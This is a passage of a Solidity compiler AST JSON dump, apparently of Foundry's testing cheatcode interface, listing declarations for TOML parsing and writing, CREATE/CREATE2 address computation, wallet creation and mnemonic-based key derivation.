`string[]`."},"functionSelector":"9f629281","implemented":false,"kind":"function","modifiers":[],"name":"parseTomlStringArray","nameLocation":"66322:20:13","parameters":{"id":14846,"nodeType":"ParameterList","parameters":[{"constant":false,"id":14843,"mutability":"mutable","name":"toml","nameLocation":"66359:4:13","nodeType":"VariableDeclaration","scope":14851,"src":"66343:20:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_string_calldata_ptr","typeString":"string"},"typeName":{"id":14842,"name":"string","nodeType":"ElementaryTypeName","src":"66343:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":14845,"mutability":"mutable","name":"key","nameLocation":"66381:3:13","nodeType":"VariableDeclaration","scope":14851,"src":"66365:19:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_string_calldata_ptr","typeString":"string"},"typeName":{"id":14844,"name":"string","nodeType":"ElementaryTypeName","src":"66365:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"66342:43:13"},"returnParameters":{"id":14850,"nodeType":"ParameterList","parameters":[{"constant":false,"id":14849,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":14851,"src":"66409:15:13","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_array$_t_string_memory_ptr_$dyn_memory_ptr","typeString":"string[]"},"typeName":{"baseType":{"id":14847,"name":"string","nodeType":"ElementaryTypeName","src":"66409:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"id":14848,"nodeType":"ArrayTypeName","src":"66409:8:13","typeDescriptions":{"typeIdentifier":"t_array$_t_string_storage_$dyn_storage_ptr","typeString":"string[]"}},"visibility":"internal"}],"src":"66408:17:13"},"scope":15098,"stateMutability":"pure","virtual":false,"visibility":"external"},{"id":14861,"nodeType":"FunctionDefinition","src":"66507:98:13","nodes":[],"documentation":{"id":14852,"nodeType":"StructuredDocumentation","src":"66432:70:13","text":"Parses a string of TOML data at `key` and coerces it to `uint256`."},"functionSelector":"cc7b0487","implemented":false,"kind":"function","modifiers":[],"name":"parseTomlUint","nameLocation":"66516:13:13","parameters":{"id":14857,"nodeType":"ParameterList","parameters":[{"constant":false,"id":14854,"mutability":"mutable","name":"toml","nameLocation":"66546:4:13","nodeType":"VariableDeclaration","scope":14861,"src":"66530:20:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_string_calldata_ptr","typeString":"string"},"typeName":{"id":14853,"name":"string","nodeType":"ElementaryTypeName","src":"66530:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":14856,"mutability":"mutable","name":"key","nameLocation":"66568:3:13","nodeType":"VariableDeclaration","scope":14861,"src":"66552:19:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_string_calldata_ptr","typeString":"string"},"typeName":{"id":14855,"name":"string","nodeType":"ElementaryTypeName","src":"66552:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"66529:43:13"},"returnParameters":{"id":14860,"nodeType":"ParameterList","parameters":[{"constant":false,"id":14859,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":14861,"src":"66596:7:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":14858,"name":"uint256","nodeType":"ElementaryTypeName","src":"66596:7:13","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"66595:9:13"},"scope":15098,"stateMutability":"pure","virtual":false,"visibility":"external"},{"id":14872,"nodeType":"FunctionDefinition","src":"66688:112:13","nodes":[],"documentation":{"id":14862,"nodeType":"StructuredDocumentation","src":"66611:72:13","text":"Parses a string of TOML data at `key` and coerces it to `uint256[]`."},"functionSelector":"b5df27c8","implemented":false,"kind":"function","modifiers":[],"name":"parseTomlUintArray","nameLocation":"66697:18:13","parameters":{"id":14867,"nodeType":"ParameterList","parameters":[{"constant":false,"id":14864,"mutability":"mutable","name":"toml","nameLocation":"66732:4:13","nodeType":"VariableDeclaration","scope":14872,"src":"66716:20:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_string_calldata_ptr","typeString":"string"},"typeName":{"id":14863,"name":"string","nodeType":"ElementaryTypeName","src":"66716:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":14866,"mutability":"mutable","name":"key","nameLocation":"66754:3:13","nodeType":"VariableDeclaration","scope":14872,"src":"66738:19:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_string_calldata_ptr","typeString":"string"},"typeName":{"id":14865,"name":"string","nodeType":"ElementaryTypeName","src":"66738:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"66715:43:13"},"returnParameters":{"id":14871,"nodeType":"ParameterList","parameters":[{"constant":false,"id":14870,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":14872,"src":"66782:16:13","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_array$_t_uint256_$dyn_memory_ptr","typeString":"uint256[]"},"typeName":{"baseType":{"id":14868,"name":"uint256","nodeType":"ElementaryTypeName","src":"66782:7:13","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"id":14869,"nodeType":"ArrayTypeName","src":"66782:9:13","typeDescriptions":{"typeIdentifier":"t_array$_t_uint256_$dyn_storage_ptr","typeString":"uint256[]"}},"visibility":"internal"}],"src":"66781:18:13"},"scope":15098,"stateMutability":"pure","virtual":false,"visibility":"external"},{"id":14880,"nodeType":"FunctionDefinition","src":"66840:93:13","nodes":[],"documentation":{"id":14873,"nodeType":"StructuredDocumentation","src":"66806:29:13","text":"ABI-encodes a TOML table."},"functionSelector":"592151f0","implemented":false,"kind":"function","modifiers":[],"name":"parseToml","nameLocation":"66849:9:13","parameters":{"id":14876,"nodeType":"ParameterList","parameters":[{"constant":false,"id":14875,"mutability":"mutable","name":"toml","nameLocation":"66875:4:13","nodeType":"VariableDeclaration","scope":14880,"src":"66859:20:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_string_calldata_ptr","typeString":"string"},"typeName":{"id":14874,"name":"string","nodeType":"ElementaryTypeName","src":"66859:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"66858:22:13"},"returnParameters":{"id":14879,"nodeType":"ParameterList","parameters":[{"constant":false,"id":14878,"mutability":"mutable","name":"abiEncodedData","nameLocation":"66917:14:13","nodeType":"VariableDeclaration","scope":14880,"src":"66904:27:13","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes"},"typeName":{"id":14877,"name":"bytes","nodeType":"ElementaryTypeName","src":"66904:5:13","typeDescriptions":{"typeIdentifier":"t_bytes_storage_ptr","typeString":"bytes"}},"visibility":"internal"}],"src":"66903:29:13"},"scope":15098,"stateMutability":"pure","virtual":false,"visibility":"external"},{"id":14890,"nodeType":"FunctionDefinition","src":"66982:114:13","nodes":[],"documentation":{"id":14881,"nodeType":"StructuredDocumentation","src":"66939:38:13","text":"ABI-encodes a TOML table at `key`."},"functionSelector":"37736e08","implemented":false,"kind":"function","modifiers":[],"name":"parseToml","nameLocation":"66991:9:13","parameters":{"id":14886,"nodeType":"ParameterList","parameters":[{"constant":false,"id":14883,"mutability":"mutable","name":"toml","nameLocation":"67017:4:13","nodeType":"VariableDeclaration","scope":14890,"src":"67001:20:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_string_calldata_ptr","typeString":"string"},"typeName":{"id":14882,"name":"string","nodeType":"ElementaryTypeName","src":"67001:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":14885,"mutability":"mutable","name":"key","nameLocation":"67039:3:13","nodeType":"VariableDeclaration","scope":14890,"src":"67023:19:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_string_calldata_ptr","typeString":"string"},"typeName":{"id":14884,"name":"string","nodeType":"ElementaryTypeName","src":"67023:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"67000:43:13"},"returnParameters":{"id":14889,"nodeType":"ParameterList","parameters":[{"constant":false,"id":14888,"mutability":"mutable","name":"abiEncodedData","nameLocation":"67080:14:13","nodeType":"VariableDeclaration","scope":14890,"src":"67067:27:13","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes"},"typeName":{"id":14887,"name":"bytes","nodeType":"ElementaryTypeName","src":"67067:5:13","typeDescriptions":{"typeIdentifier":"t_bytes_storage_ptr","typeString":"bytes"}},"visibility":"internal"}],"src":"67066:29:13"},"scope":15098,"stateMutability":"pure","virtual":false,"visibility":"external"},{"id":14898,"nodeType":"FunctionDefinition","src":"67189:72:13","nodes":[],"documentation":{"id":14891,"nodeType":"StructuredDocumentation","src":"67102:82:13","text":"Takes serialized JSON, converts to TOML and write a serialized TOML to a file."},"functionSelector":"c0865ba7","implemented":false,"kind":"function","modifiers":[],"name":"writeToml","nameLocation":"67198:9:13","parameters":{"id":14896,"nodeType":"ParameterList","parameters":[{"constant":false,"id":14893,"mutability":"mutable","name":"json","nameLocation":"67224:4:13","nodeType":"VariableDeclaration","scope":14898,"src":"67208:20:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_string_calldata_ptr","typeString":"string"},"typeName":{"id":14892,"name":"string","nodeType":"ElementaryTypeName","src":"67208:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":14895,"mutability":"mutable","name":"path","nameLocation":"67246:4:13","nodeType":"VariableDeclaration","scope":14898,"src":"67230:20:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_string_calldata_ptr","typeString":"string"},"typeName":{"id":14894,"name":"string","nodeType":"ElementaryTypeName","src":"67230:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"67207:44:13"},"returnParameters":{"id":14897,"nodeType":"ParameterList","parameters":[],"src":"67260:0:13"},"scope":15098,"stateMutability":"nonpayable","virtual":false,"visibility":"external"},{"id":14908,"nodeType":"FunctionDefinition","src":"67530:98:13","nodes":[],"documentation":{"id":14899,"nodeType":"StructuredDocumentation","src":"67267:258:13","text":"Takes serialized JSON, converts to TOML and write a serialized TOML table to an **existing** TOML file, replacing a value with key = \n This is useful to replace a specific value of a TOML file, without having to parse the entire thing."},"functionSelector":"51ac6a33","implemented":false,"kind":"function","modifiers":[],"name":"writeToml","nameLocation":"67539:9:13","parameters":{"id":14906,"nodeType":"ParameterList","parameters":[{"constant":false,"id":14901,"mutability":"mutable","name":"json","nameLocation":"67565:4:13","nodeType":"VariableDeclaration","scope":14908,"src":"67549:20:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_string_calldata_ptr","typeString":"string"},"typeName":{"id":14900,"name":"string","nodeType":"ElementaryTypeName","src":"67549:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":14903,"mutability":"mutable","name":"path","nameLocation":"67587:4:13","nodeType":"VariableDeclaration","scope":14908,"src":"67571:20:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_string_calldata_ptr","typeString":"string"},"typeName":{"id":14902,"name":"string","nodeType":"ElementaryTypeName","src":"67571:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":14905,"mutability":"mutable","name":"valueKey","nameLocation":"67609:8:13","nodeType":"VariableDeclaration","scope":14908,"src":"67593:24:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_string_calldata_ptr","typeString":"string"},"typeName":{"id":14904,"name":"string","nodeType":"ElementaryTypeName","src":"67593:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"67548:70:13"},"returnParameters":{"id":14907,"nodeType":"ParameterList","parameters":[],"src":"67627:0:13"},"scope":15098,"stateMutability":"nonpayable","virtual":false,"visibility":"external"},{"id":14920,"nodeType":"FunctionDefinition","src":"67767:141:13","nodes":[],"documentation":{"id":14909,"nodeType":"StructuredDocumentation","src":"67670:92:13","text":"Compute the address of a contract created with CREATE2 using the given CREATE2 deployer."},"functionSelector":"d323826a","implemented":false,"kind":"function","modifiers":[],"name":"computeCreate2Address","nameLocation":"67776:21:13","parameters":{"id":14916,"nodeType":"ParameterList","parameters":[{"constant":false,"id":14911,"mutability":"mutable","name":"salt","nameLocation":"67806:4:13","nodeType":"VariableDeclaration","scope":14920,"src":"67798:12:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":14910,"name":"bytes32","nodeType":"ElementaryTypeName","src":"67798:7:13","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"},{"constant":false,"id":14913,"mutability":"mutable","name":"initCodeHash","nameLocation":"67820:12:13","nodeType":"VariableDeclaration","scope":14920,"src":"67812:20:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":14912,"name":"bytes32","nodeType":"ElementaryTypeName","src":"67812:7:13","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"},{"constant":false,"id":14915,"mutability":"mutable","name":"deployer","nameLocation":"67842:8:13","nodeType":"VariableDeclaration","scope":14920,"src":"67834:16:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":14914,"name":"address","nodeType":"ElementaryTypeName","src":"67834:7:13","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"67797:54:13"},"returnParameters":{"id":14919,"nodeType":"ParameterList","parameters":[{"constant":false,"id":14918,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":14920,"src":"67899:7:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":14917,"name":"address","nodeType":"ElementaryTypeName","src":"67899:7:13","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"67898:9:13"},"scope":15098,"stateMutability":"pure","virtual":false,"visibility":"external"},{"id":14930,"nodeType":"FunctionDefinition","src":"68013:99:13","nodes":[],"documentation":{"id":14921,"nodeType":"StructuredDocumentation","src":"67914:94:13","text":"Compute the address of a contract created with CREATE2 using the default CREATE2 deployer."},"functionSelector":"890c283b","implemented":false,"kind":"function","modifiers":[],"name":"computeCreate2Address","nameLocation":"68022:21:13","parameters":{"id":14926,"nodeType":"ParameterList","parameters":[{"constant":false,"id":14923,"mutability":"mutable","name":"salt","nameLocation":"68052:4:13","nodeType":"VariableDeclaration","scope":14930,"src":"68044:12:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":14922,"name":"bytes32","nodeType":"ElementaryTypeName","src":"68044:7:13","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"},{"constant":false,"id":14925,"mutability":"mutable","name":"initCodeHash","nameLocation":"68066:12:13","nodeType":"VariableDeclaration","scope":14930,"src":"68058:20:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":14924,"name":"bytes32","nodeType":"ElementaryTypeName","src":"68058:7:13","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"src":"68043:36:13"},"returnParameters":{"id":14929,"nodeType":"ParameterList","parameters":[{"constant":false,"id":14928,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":14930,"src":"68103:7:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":14927,"name":"address","nodeType":"ElementaryTypeName","src":"68103:7:13","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"68102:9:13"},"scope":15098,"stateMutability":"pure","virtual":false,"visibility":"external"},{"id":14940,"nodeType":"FunctionDefinition","src":"68217:95:13","nodes":[],"documentation":{"id":14931,"nodeType":"StructuredDocumentation","src":"68118:94:13","text":"Compute the address a contract will be deployed at for a given deployer address and nonce."},"functionSelector":"74637a7a","implemented":false,"kind":"function","modifiers":[],"name":"computeCreateAddress","nameLocation":"68226:20:13","parameters":{"id":14936,"nodeType":"ParameterList","parameters":[{"constant":false,"id":14933,"mutability":"mutable","name":"deployer","nameLocation":"68255:8:13","nodeType":"VariableDeclaration","scope":14940,"src":"68247:16:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":14932,"name":"address","nodeType":"ElementaryTypeName","src":"68247:7:13","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":14935,"mutability":"mutable","name":"nonce","nameLocation":"68273:5:13","nodeType":"VariableDeclaration","scope":14940,"src":"68265:13:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":14934,"name":"uint256","nodeType":"ElementaryTypeName","src":"68265:7:13","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"68246:33:13"},"returnParameters":{"id":14939,"nodeType":"ParameterList","parameters":[{"constant":false,"id":14938,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":14940,"src":"68303:7:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":14937,"name":"address","nodeType":"ElementaryTypeName","src":"68303:7:13","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"68302:9:13"},"scope":15098,"stateMutability":"pure","virtual":false,"visibility":"external"},{"id":14949,"nodeType":"FunctionDefinition","src":"68422:91:13","nodes":[],"documentation":{"id":14941,"nodeType":"StructuredDocumentation","src":"68318:99:13","text":"Derives a private key from the name, labels the account with that name, and returns the wallet."},"functionSelector":"7404f1d2","implemented":false,"kind":"function","modifiers":[],"name":"createWallet","nameLocation":"68431:12:13","parameters":{"id":14944,"nodeType":"ParameterList","parameters":[{"constant":false,"id":14943,"mutability":"mutable","name":"walletLabel","nameLocation":"68460:11:13","nodeType":"VariableDeclaration","scope":14949,"src":"68444:27:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_string_calldata_ptr","typeString":"string"},"typeName":{"id":14942,"name":"string","nodeType":"ElementaryTypeName","src":"68444:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"68443:29:13"},"returnParameters":{"id":14948,"nodeType":"ParameterList","parameters":[{"constant":false,"id":14947,"mutability":"mutable","name":"wallet","nameLocation":"68505:6:13","nodeType":"VariableDeclaration","scope":14949,"src":"68491:20:13","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_struct$_Wallet_$12125_memory_ptr","typeString":"struct VmSafe.Wallet"},"typeName":{"id":14946,"nodeType":"UserDefinedTypeName","pathNode":{"id":14945,"name":"Wallet","nameLocations":["68491:6:13"],"nodeType":"IdentifierPath","referencedDeclaration":12125,"src":"68491:6:13"},"referencedDeclaration":12125,"src":"68491:6:13","typeDescriptions":{"typeIdentifier":"t_struct$_Wallet_$12125_storage_ptr","typeString":"struct VmSafe.Wallet"}},"visibility":"internal"}],"src":"68490:22:13"},"scope":15098,"stateMutability":"nonpayable","virtual":false,"visibility":"external"},{"id":14958,"nodeType":"FunctionDefinition","src":"68591:82:13","nodes":[],"documentation":{"id":14950,"nodeType":"StructuredDocumentation","src":"68519:67:13","text":"Generates a wallet from the private key and returns the wallet."},"functionSelector":"7a675bb6","implemented":false,"kind":"function","modifiers":[],"name":"createWallet","nameLocation":"68600:12:13","parameters":{"id":14953,"nodeType":"ParameterList","parameters":[{"constant":false,"id":14952,"mutability":"mutable","name":"privateKey","nameLocation":"68621:10:13","nodeType":"VariableDeclaration","scope":14958,"src":"68613:18:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":14951,"name":"uint256","nodeType":"ElementaryTypeName","src":"68613:7:13","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"68612:20:13"},"returnParameters":{"id":14957,"nodeType":"ParameterList","parameters":[{"constant":false,"id":14956,"mutability":"mutable","name":"wallet","nameLocation":"68665:6:13","nodeType":"VariableDeclaration","scope":14958,"src":"68651:20:13","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_struct$_Wallet_$12125_memory_ptr","typeString":"struct VmSafe.Wallet"},"typeName":{"id":14955,"nodeType":"UserDefinedTypeName","pathNode":{"id":14954,"name":"Wallet","nameLocations":["68651:6:13"],"nodeType":"IdentifierPath","referencedDeclaration":12125,"src":"68651:6:13"},"referencedDeclaration":12125,"src":"68651:6:13","typeDescriptions":{"typeIdentifier":"t_struct$_Wallet_$12125_storage_ptr","typeString":"struct VmSafe.Wallet"}},"visibility":"internal"}],"src":"68650:22:13"},"scope":15098,"stateMutability":"nonpayable","virtual":false,"visibility":"external"},{"id":14969,"nodeType":"FunctionDefinition","src":"68787:111:13","nodes":[],"documentation":{"id":14959,"nodeType":"StructuredDocumentation","src":"68679:103:13","text":"Generates a wallet from the private key, labels the account with that name, and returns the wallet."},"functionSelector":"ed7c5462","implemented":false,"kind":"function","modifiers":[],"name":"createWallet","nameLocation":"68796:12:13","parameters":{"id":14964,"nodeType":"ParameterList","parameters":[{"constant":false,"id":14961,"mutability":"mutable","name":"privateKey","nameLocation":"68817:10:13","nodeType":"VariableDeclaration","scope":14969,"src":"68809:18:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":14960,"name":"uint256","nodeType":"ElementaryTypeName","src":"68809:7:13","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":14963,"mutability":"mutable","name":"walletLabel","nameLocation":"68845:11:13","nodeType":"VariableDeclaration","scope":14969,"src":"68829:27:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_string_calldata_ptr","typeString":"string"},"typeName":{"id":14962,"name":"string","nodeType":"ElementaryTypeName","src":"68829:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"68808:49:13"},"returnParameters":{"id":14968,"nodeType":"ParameterList","parameters":[{"constant":false,"id":14967,"mutability":"mutable","name":"wallet","nameLocation":"68890:6:13","nodeType":"VariableDeclaration","scope":14969,"src":"68876:20:13","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_struct$_Wallet_$12125_memory_ptr","typeString":"struct VmSafe.Wallet"},"typeName":{"id":14966,"nodeType":"UserDefinedTypeName","pathNode":{"id":14965,"name":"Wallet","nameLocations":["68876:6:13"],"nodeType":"IdentifierPath","referencedDeclaration":12125,"src":"68876:6:13"},"referencedDeclaration":12125,"src":"68876:6:13","typeDescriptions":{"typeIdentifier":"t_struct$_Wallet_$12125_storage_ptr","typeString":"struct VmSafe.Wallet"}},"visibility":"internal"}],"src":"68875:22:13"},"scope":15098,"stateMutability":"nonpayable","virtual":false,"visibility":"external"},{"id":14979,"nodeType":"FunctionDefinition","src":"69046:102:13","nodes":[],"documentation":{"id":14970,"nodeType":"StructuredDocumentation","src":"68904:137:13","text":"Derive a private key from a provided mnenomic string (or mnenomic file path)\n at the derivation path `m/44'/60'/0'/0/{index}`."},"functionSelector":"6229498b","implemented":false,"kind":"function","modifiers":[],"name":"deriveKey","nameLocation":"69055:9:13","parameters":{"id":14975,"nodeType":"ParameterList","parameters":[{"constant":false,"id":14972,"mutability":"mutable","name":"mnemonic","nameLocation":"69081:8:13","nodeType":"VariableDeclaration","scope":14979,"src":"69065:24:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_string_calldata_ptr","typeString":"string"},"typeName":{"id":14971,"name":"string","nodeType":"ElementaryTypeName","src":"69065:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":14974,"mutability":"mutable","name":"index","nameLocation":"69098:5:13","nodeType":"VariableDeclaration","scope":14979,"src":"69091:12:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint32","typeString":"uint32"},"typeName":{"id":14973,"name":"uint32","nodeType":"ElementaryTypeName","src":"69091:6:13","typeDescriptions":{"typeIdentifier":"t_uint32","typeString":"uint32"}},"visibility":"internal"}],"src":"69064:40:13"},"returnParameters":{"id":14978,"nodeType":"ParameterList","parameters":[{"constant":false,"id":14977,"mutability":"mutable","name":"privateKey","nameLocation":"69136:10:13","nodeType":"VariableDeclaration","scope":14979,"src":"69128:18:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":14976,"name":"uint256","nodeType":"ElementaryTypeName","src":"69128:7:13","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"69127:20:13"},"scope":15098,"stateMutability":"pure","virtual":false,"visibility":"external"},{"id":14991,"nodeType":"FunctionDefinition","src":"69277:158:13","nodes":[],"documentation":{"id":14980,"nodeType":"StructuredDocumentation","src":"69154:118:13","text":"Derive a private key from a provided mnenomic string (or mnenomic file path)\n at `{derivationPath}{index}`."},"functionSelector":"6bcb2c1b","implemented":false,"kind":"function","modifiers":[],"name":"deriveKey","nameLocation":"69286:9:13","parameters":{"id":14987,"nodeType":"ParameterList","parameters":[{"constant":false,"id":14982,"mutability":"mutable","name":"mnemonic","nameLocation":"69312:8:13","nodeType":"VariableDeclaration","scope":14991,"src":"69296:24:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_string_calldata_ptr","typeString":"string"},"typeName":{"id":14981,"name":"string","nodeType":"ElementaryTypeName","src":"69296:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":14984,"mutability":"mutable","name":"derivationPath","nameLocation":"69338:14:13","nodeType":"VariableDeclaration","scope":14991,"src":"69322:30:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_string_calldata_ptr","typeString":"string"},"typeName":{"id":14983,"name":"string","nodeType":"ElementaryTypeName","src":"69322:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":14986,"mutability":"mutable","name":"index","nameLocation":"69361:5:13","nodeType":"VariableDeclaration","scope":14991,"src":"69354:12:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint32","typeString":"uint32"},"typeName":{"id":14985,"name":"uint32","nodeType":"ElementaryTypeName","src":"69354:6:13","typeDescriptions":{"typeIdentifier":"t_uint32","typeString":"uint32"}},"visibility":"internal"}],"src":"69295:72:13"},"returnParameters":{"id":14990,"nodeType":"ParameterList","parameters":[{"constant":false,"id":14989,"mutability":"mutable","name":"privateKey","nameLocation":"69423:10:13","nodeType":"VariableDeclaration","scope":14991,"src":"69415:18:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":14988,"name":"uint256","nodeType":"ElementaryTypeName","src":"69415:7:13","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"69414:20:13"},"scope":15098,"stateMutability":"pure","virtual":false,"visibility":"external"},{"id":15003,"nodeType":"FunctionDefinition","src":"69609:152:13","nodes":[],"documentation":{"id":14992,"nodeType":"StructuredDocumentation","src":"69441:163:13","text":"Derive a private key from a provided mnenomic string (or mnenomic file path) in the specified language\n at the derivation path 